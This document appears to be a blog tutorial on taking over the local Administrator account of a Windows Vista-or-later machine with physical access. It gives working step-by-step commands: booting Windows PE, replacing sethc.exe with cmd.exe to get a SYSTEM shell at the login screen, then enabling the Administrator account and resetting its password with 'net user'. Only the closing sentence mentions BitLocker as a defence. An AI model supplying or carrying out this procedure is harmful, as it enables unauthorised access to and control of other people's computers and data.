Gaining entry into Windows as Administrator

This is an old but still relevant method of gaining access to an local Administrator account on any windows machine running Vista on-wards.

Note: This method will only work when Bitlocker is not enabled on the machine.

You can either use a live CD or Windows PE (From Windows installation media), this guide will use Windows PE.

1. Download Windows Media Creation Tool and make a USB installer by following the instructions when launching the .exe (Any version is fine as we are not installing Windows).
2. Change the boot priority of the device to use the USB before the OS Disk
3. Launch the Windows Installation Media and press SHIFT+F10 to launch a CMD prompt
   

   Launching CMD in Windows PE through “Sethc.exe”

4. Find the Windows OS volume by looking through the different drives, e.g.
   1. Type “C:” -> “Dir” -> Replacing C: With D: etc…
      

      Finding the OS drive from Windows PE

5. Once you have found the OS drive, Enter “cd X:/Windows/System32” (X: being the OS drive identified earlier)
6. We are going to replace the sticky keys executable with CMD, so when sticky keys is launched we open CMD instead
   1. Make a backup of sticky keys with: copy sethc.exe ..
      

      Backing up sethc.exe for restoration later

   2. Overwrite sticky keys with CMD by entering: copy cmd.exe sethc.exe
      

      Overwriting sethc.exe with cmd

7. Reboot the machine without launching the Installation Media
8. Once windows is loaded up, press SHIFT 5 times to launch a CMD
   1. By entering “whoami” you can see we are running as system
      

      Opening a CMD at the login screen with the system account

9. List the local users by typing “net user”
   1. You can also run computer management if you prefer a GUI by entering: compmgmt.msc
      

      Hunting for the Administrator account

10. Depending on the target machines configuration you may see the “Administrator” account, however, if best practises are followed this may have been renamed.
    1. You can check which groups an account is apart of by typing: net user USERACCOUNT
11. Assuming the Administator account hasn’t been renamed, you can activate it with: net user Administrator /ACTIVE:Yes
    

    Activating the local Administrator account

12. Change the password of the Administrator account with: net user Administrator Password123
    

    Resetting the password of the local Administrator account

13. You can now login to the device with the password in which you defined above
14. You can revert the changed sethc.exe while logged in by opening a CMD as admin and entering: robocopy c:\windows c:\windows\system32 sethc.exe /B
    1. /B instructs robocopy to use the Backup API, otherwise the operation will fail due to insufficient privileges

The results from successfully reverting the sethc.exe file back from inside the machine

To mitigate the risk the risk of this happening to a machine in your environment you should use BitLocker to prevent access to the OS drive being the machine has booted up.